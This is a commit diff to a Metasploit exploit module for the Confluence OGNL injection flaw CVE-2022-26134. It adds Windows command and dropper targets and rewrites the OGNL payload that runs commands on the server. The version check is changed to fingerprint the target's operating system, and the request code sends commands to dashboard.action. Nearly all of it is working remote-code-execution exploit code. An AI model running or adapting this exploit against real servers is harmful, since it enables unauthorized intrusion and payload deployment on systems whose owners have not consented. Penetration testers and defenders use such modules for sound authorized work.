Add Windows targets

Author: zeroSteiner

modules/exploits/multi/http/atlassian_confluence_namespace_ognl_injection.rb

@@ -27,15 +27,15 @@ def initialize(info = {})
           'Spencer McIntyre'
         ],
         'References' => [
-          ['CVE', '2021-26084'],
+          ['CVE', '2022-26134'],
           ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'],
           ['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'],
           ['URL', 'https://github.com/jbaines-r7/through_the_wire'],
           ['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis']
         ],
         'DisclosureDate' => '2022-06-02',
         'License' => MSF_LICENSE,
-        'Platform' => ['unix', 'linux'],
+        'Platform' => ['unix', 'linux', 'win'],
         'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
         'Privileged' => false,
         'Targets' => [
@@ -54,6 +54,22 @@ def initialize(info = {})
               'Arch' => [ARCH_X86, ARCH_X64],
               'Type' => :dropper
             }
+          ],
+          [
+            'Windows Command',
+            {
+              'Platform' => 'win',
+              'Arch' => ARCH_CMD,
+              'Type' => :cmd
+            }
+          ],
+          [
+            'Windows Dropper',
+            {
+              'Platform' => 'win',
+              'Arch' => [ARCH_X86, ARCH_X64],
+              'Type' => :dropper
+            }
           ]
         ],
         'DefaultTarget' => 0,
@@ -79,14 +95,29 @@ def check
 
     vprint_status("Detected Confluence version: #{version}")
     header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
-    res = inject_ognl('', header: header) # empty command works for testing, the header will be set
+    ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
+      ${
+        Class.forName("com.opensymphony.webwork.ServletActionContext")
+          .getMethod("getResponse",null)
+          .invoke(null,null)
+          .setHeader(
+            "#{header}",
+            Class.forName("javax.script.ScriptEngineManager")
+              .newInstance()
+              .getEngineByName("js")
+              .eval("java.lang.System.getProperty('os.name')")
+            )
+      }
+    OGNL
+    res = inject_ognl(ognl)
 
     return CheckCode::Unknown unless res
 
     unless res && res.headers.include?(header)
       return CheckCode::Safe('Failed to test OGNL injection.')
     end
 
+    vprint_status("Detected target platform: #{res.headers[header]}")
     CheckCode::Vulnerable('Successfully tested OGNL injection.')
   end
 
@@ -119,26 +150,7 @@ def exploit
 
   def execute_command(cmd, _opts = {})
     header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
-    res = inject_ognl(cmd, header: header)
-
-    unless res && res.headers.include?(header)
-      fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
-    end
-
-    vprint_good("Successfully executed command: #{cmd}")
-    res.headers[header]
-  end
-
-  def inject_ognl(cmd, header:)
-    send_request_cgi(
-      'method' => 'POST',
-      'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl_payload(cmd, header: header)), 'dashboard.action'),
-      'headers' => { header => cmd }
-    )
-  end
-
-  def ognl_payload(_cmd, header:)
-    <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
+    ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
       ${
         Class.forName("com.opensymphony.webwork.ServletActionContext")
           .getMethod("getResponse",null)
@@ -154,5 +166,20 @@ def ognl_payload(_cmd, header:)
             )
       }
     OGNL
+    res = inject_ognl(ognl, 'headers' => { header => cmd })
+
+    unless res && res.headers.include?(header)
+      fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
+    end
+
+    vprint_good("Successfully executed command: #{cmd}")
+    res.headers[header]
+  end
+
+  def inject_ognl(ognl, opts = {})
+    send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl), 'dashboard.action')
+    }.merge(opts))
   end
 end